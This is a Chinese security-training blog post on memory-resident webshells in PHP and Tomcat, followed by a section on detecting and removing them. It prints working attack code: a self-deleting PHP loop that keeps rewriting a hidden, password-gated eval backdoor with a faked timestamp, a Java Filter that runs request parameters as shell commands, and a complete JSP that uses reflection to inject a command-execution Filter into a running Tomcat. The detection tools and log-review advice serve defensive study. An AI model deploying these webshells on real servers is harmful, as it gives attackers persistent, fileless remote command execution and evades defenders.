当前位置:网站首页 > 黑客培训 > 正文

Tomcat Filter类型内存马与查杀技术学习

freebuffreebuf 2021-09-15 281 0

本文来源:星阑科技

前言

随着每年攻防对抗强度的增加,普通的木马在各大厂商的安全设备下,根本难以存活,想要落地一个实体木马的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。于是,随着时代的发展,内存马出现了。

内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。

发展过程如下:

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

php内存马

刚开始学习的时候,只知道php内存马,想的都是内存马,php和java应该会有一些相似的特征,应该可以类比一下。

php内存马常常作为AWD对抗赛的常用手段

先通过一个简单的php型看一下内存马的基本实现思路

?php   ignore_user_abort(true); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。   set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长   unlink(__FILE__); //删除自身   $file = '.config.php';   $code = '?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72")   {@eval($_POST[a]);} ?>';   while (1){   file_put_contents($file,$code); //创建shell.php   system('touch -m -d "2018-12-01 09:10:12" .config.php');   usleep(50); //间隔时间   } ?>

生成 .config.php 普通 ls 列不出来, 得 ls -a 才会列出==>隐藏文件

删除自身文件,然后在某一个目录下循环生成你的webshell==>不死

那我们可以梳理一下php内存马的流程:

1. 将携带循环生成木马的命令脚本上传至目标服务器

2. 删除文件本身

3. 让其以隐藏文件的方式,死循环创建文件,并向文件中写入木马

查杀php内存马

1. 重启php服务器,(service apache2 restart)

2. 强行kill 后台进程 ps aux | grep www-data | awk '{print $2}' | xargs kill -9

3. while循环写脚本 while : ;do rm -rf xxx; done

4. 建立一个和不死马相同名字的文件或者目录,不断竞争写入一个和不死马同名的文件

?php   while (1) {   $pid = 不死马的进程PID;   @unlink(".ski12.php");   exec("kill -9 $pid");   usleep(20); } ?>

那我们根据php来类比一下java

1. 内存马无文件落地,用户无法浏览到

2. 文件不死,能够循环执行

要实现这两点,需要结合java的特性来看,通常运行java的web容器是Tomcat,这里以Tomcat为例

实现思路

我们先来看一下客户端(浏览器)与服务器(Tomcat)交互的简化流程

客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。

一句话总结:对访问路径映射及相关处理代码的动态注册。

我们要在上面这三个地方动手脚,于是按照作用的位置,我们有了

•  listener 内存马

•  filter内存马

•  Servlet内存马

这三个,统称为:servlet-api型。


在特定框架里,如Spring/Struts2等框架,按照位置分类可以有

•  interceptor型

•  controller型

同时,针对不同的中间件还有不同的类型

•  Tomcat的Pipeline //拦截请求 public void destroy(); //销毁

Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

我们可以通过动态注册的方法去注册一个FIlter

Filter类的介绍

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

ApplicationFilterChain:调用过滤器链

ApplicationFilterConfig:获取过滤器

ApplicationFilterFactory:组装过滤器链

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

OK,到这里,我我们有些许迷茫,什么是Context,wrapper

Servlet是java最基本的应用,而Tomcat是一个大的Servlet容器,tomcat 主要由connector连接器和容器组成。(这四个容器的关系如下),是父子关系,不是平行关系

和Servlet的方式不同,Filter不能通过注解去配置,必须在web.xml进行配置。

?xml version="1.0"encoding="UTF-8"?> web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">     filter>         filter-name>filterDemo/filter-name>         filter-class>FilterDemo/filter-class>     /filter>     filter-mapping>         filter-name>filterDemo/filter-name>         url-pattern>/*/url-pattern>     /filter-mapping>     filter>         filter-name>filterDemo2/filter-name>         filter-class>FilterDemo2/filter-class>     /filter>     filter-mapping>         filter-name>filterDemo2/filter-name>         url-pattern>/*/url-pattern>     /filter-mapping> /web-app>

这里写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链。

import javax.servlet.*; import java.io.IOException; public class FilterDemo2 implements Filter {     @Override     public void init(FilterConfig filterConfig) throws ServletException {         System.out.println("第一个Filter 初始化创建");     }     @Override     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {         System.out.println("第一个Filter执行过滤操作");         filterChain.doFilter(servletRequest,servletResponse);     }     @Override     public void destroy() {     } }

Tomcat是这样将我们自定义的filter调用的。

1. 根据请求的URL从FilterMaps中找出与之URL对应的Filter名称

2. 根据Filter名称去FilterConfigs中寻找对应名称的FilterConfig

3. 找到对应的FilterConfig 之后添加到FilterChain中,并且返回FilterChain

4. filterChain中调用internalDoFilter遍历获取chain中的FilterConfig,然后从FilterConfig中获取Filter,然后调用Filter的 doFilter方法

模拟注入

?xml version="1.0" encoding="UTF-8"?> web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"          version="4.0">     filter>         filter-name>cmd_Filters/filter-name>         filter-class>cmd_Filters/filter-class>     /filter>     filter-mapping>         filter-name>cmd_Filters/filter-name>         url-pattern>/*/url-pattern>     /filter-mapping>     filter>         filter-name>filterDemo/filter-name>         filter-class>FilterDemo/filter-class>     /filter>     filter-mapping>         filter-name>filterDemo/filter-name>         url-pattern>/*/url-pattern>     /filter-mapping> /web-app>


import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.util.Scanner; public class cmd_Filters implements Filter {     public void destroy() {     }     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {         HttpServletRequest req = (HttpServletRequest) request;         HttpServletResponse resp = (HttpServletResponse) response;         if (req.getParameter("cmd") != null) {             boolean isLinux = true;             String osTyp = System.getProperty("os.name");             if (osTyp != null              }             String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};             InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();             Scanner s = new Scanner(in).useDelimiter("\\A");             String output = s.hasNext() ? s.next() : "";             resp.getWriter().write(output);             resp.getWriter().flush();         }         chain.doFilter(request, response);     }     public void init(FilterConfig config) throws ServletException {     } }

实际过程中,我们是不可能操作web.xml的,我们需要使用反射进行动态注册,

流程如下:

1. 创建一个恶意Filter

2. 利用FilterDef对Filter进行一个封装

3. 将FilterDef添加到FilterDefs和FilterConfig

4. 创建FilterMap ,将我们的Filter和urlpattern相对应,存放到filterMaps中(由于Filter生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的Filter最先触发)

从前面的的分析,可以发现程序在创建过滤器链的时候,context变量里面包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps

现在要解决的两个问题:

1. 如何获取这个context对象。

2. 如何修改filterConfigs,filterDefs,filterMaps,将恶意类插入。

如何获取context对象

首先,你需要知道

Tomcat中的对应的ServletContext实现是ApplicationContext。

在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。

当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。

ServeltContext -> ApplicationContext

ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //上面几行的目的是为了获取(ApplicationContext)context

通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:

ApplicationContext -> StandardContext(ApplicationContext实例中包含了StandardContext实例)

Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //上面几行的目的是为了获取(StandradContext)context

通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:

这样就可以获取(StandardContext)context对象。

之后组合起来

ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");         appctx.setAccessible(true); // ApplicationContext 为 ServletContext 的实现类         ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);         Field stdctx = applicationContext.getClass().getDeclaredField("context");         stdctx.setAccessible(true); // 这样我们就获取到了 context          StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);


如何修改对应的属性

addFilterDef:   添加一个filterDef到Context

addFilterMapBefore:  添加filterMap到所有filter最前面

ApplicationFilterConfig:  为指定的过滤器构造一个新的 ApplicationFilterConfig

我们需要实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中

//定义一些基础属性、类名、filter名等         filterDemo filter = new filterDemo();         FilterDef filterDef = new FilterDef(); //name = filterDemo         filterDef.setFilterName(name);         filterDef.setFilterClass(filter.getClass().getName());         filterDef.setFilter(filter); //添加filterDef         standardContext.addFilterDef(filterDef);

之后,实例化一个FilterMap对象,并将filterMap到所有filter最前面

//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都        可触发可设置为/*         FilterMap filterMap = new FilterMap(); // filterMap.addURLPattern("/*");         filterMap.addURLPattern("/xyz"); //name = filterDemo         filterMap.setFilterName(name);         filterMap.setDispatcher(DispatcherType.REQUEST.name()); //添加我们的filterMap到所有filter最前面         standardContext.addFilterMapBefore(filterMap);

最后,FilterConfigs存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息

先获取当前filterConfigs信息

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");         Configs.setAccessible(true);         Map filterConfigs = (Map) Configs.get(standardContext);

通过Java反射来获得构造器(Constructor)对象并调用其newInstance()方法创建创建FilterConfig

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);         constructor.setAccessible(true);         ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); 

然后将恶意的filter名和配置好的filterConfig传入

//name = filterDemo filterConfigs.put(name,filterConfig);

至此,我们的恶意filter已经全部装载完成。

最终得到的内存马为

%--   Created by IntelliJ IDEA.   User: 12451   Date: 2021/8/26   Time: 17:41   To change this template use File | Settings | File Templates. --%> %@ page import="org.apache.catalina.core.ApplicationContext" %> %@ page import="java.lang.reflect.Field" %> %@ page import="org.apache.catalina.core.StandardContext" %> %@ page import="java.util.Map" %> %@ page import="java.io.IOException" %> %@ page import="java.lang.reflect.Constructor" %> %@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> %@ page import="org.apache.catalina.Context" %> %@ page import="org.apache.catalina.deploy.FilterDef" %> %@ page import="org.apache.catalina.deploy.FilterMap" %> %@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> %     final String name = "FilterAgent";     ServletContext servletContext = request.getSession().getServletContext();     Field appctx = servletContext.getClass().getDeclaredField("context");     appctx.setAccessible(true);     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);     Field stdctx = applicationContext.getClass().getDeclaredField("context");     stdctx.setAccessible(true);     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);     Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");     Configs.setAccessible(true);     Map filterConfigs = (Map) Configs.get(standardContext);     if (filterConfigs.get(name) == null){         Filter filter = new Filter() {             @Override             public void init(FilterConfig filterConfig) throws ServletException {             }             @Override             public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {                 HttpServletRequest req = (HttpServletRequest) servletRequest;                  if (req.getParameter("cmd") != null){                     byte[] bytes = new byte[1024];                     Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();                     int len = process.getInputStream().read(bytes);                     servletResponse.getWriter().write(new String(bytes,0,len));                     process.destroy();                     return;                 }                 filterChain.doFilter(servletRequest,servletResponse);             }             @Override             public void destroy() {             }         };         FilterDef filterDef = new FilterDef();         filterDef.setFilter(filter);         filterDef.setFilterName(name);         filterDef.setFilterClass(filter.getClass().getName());         /**          * 将filterDef添加到filterDefs中          */         standardContext.addFilterDef(filterDef);         FilterMap filterMap = new FilterMap();         filterMap.addURLPattern("/*");         filterMap.setFilterName(name);         filterMap.setDispatcher(DispatcherType.REQUEST.name());         standardContext.addFilterMapBefore(filterMap);         Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);         constructor.setAccessible(true);         ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);         filterConfigs.put(name,filterConfig);         out.print("Inject Success !");     } %>

效果如下

之后,在满足urlpattern的情况下,可以执行任意命令

注意,这样产生的内存马在重启之后是会消失的,有师傅写过重启后也不会消失的内存马,师傅们可以抽空看一看。

那么我们该怎么防御,或者说查杀呢?

Tomcat内存马的排除与查杀

原理•  利用Java Agent技术遍历所有已经加载到内存中的class。先判断是否是内存马,是则进入内存查杀。

public class Transformer implements ClassFileTransformer {   public byte[] transform(ClassLoader classLoader, String s, Class?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {       // 识别内存马       if(isMemshell(aClass,bytes)){           // 查杀内存马           byte[] newClassByte = killMemshell(aClass,bytes);           return newClassByte;       }else{           return bytes;       }     } }

•  访问时抛异常(或跳过调用),中断此次调用

•  从系统中移除该对象

排查方式

•  如果是jsp注入,日志中排查可疑jsp的访问请求。

•  如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法

•  根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

•  如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。

•  如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200

查杀方式

可以使用哥斯拉,冰蝎,或者上文提到的内存马进行一个生成,然后再进行查杀。

1. VisualVM(远程调试)

VisualVM是一个集成多个JDK命令行工具的可视化工具。可以作为Java应用程序性能分析和运行监控的工具。开发人员可以利用它来监控、分析线程信息,浏览内存堆数据。系统管理员可以利用它来监测、控制Java应用程序横跨整个网络的情况。

通过图形化进行界面审计

2. arthas

arthas是Alibaba开源的Java诊断工具 https://github.com/alibaba/arthas

是一个比较好用的java应用检测工具,

了解文档可以从这里https://arthas.aliyun.com/zh-cn/

mbean(查看 Mbean 的信息,查看异常Filter/Servlet节点)

mbean | grep "Servlet"


dashboard(显示当前面板的实时状态)

jad(反编译指定已加载类的源码)

sc对jvm已经加载的类进行搜索

3. Copagent

这个项目是上面的改进版本,直接可以确定风险等级,并且将内存中的信息全部输出。项目地址:https://github.com/LandGrey/copagent试了一下,只有jdk1.8能够运行,之后会生成一个.copagent,里面有扫描结果。

在result里面可以查看结果,展示详细信息

根据风险等级判断

在相关class文件里查找这个包

代码可以在相关 java文件里找到

4. java-memshell-scannerhttps://github.com/c0ny1/java-memshell-scanner通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。

参考文章:

1. https://www.cnblogs.com/stateis0/p/9062201.html

2. 站在巨人的肩膀学习Java Filter型内存马

(https://www.cnblogs.com/bmjoker/p/15114884.html)

3. 一文看懂内存马

(https://www.freebuf.com/articles/web/274466.html)

转载请注明来自网盾网络安全培训,本文标题:《Tomcat Filter类型内存马与查杀技术学习》

标签:php内存马

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表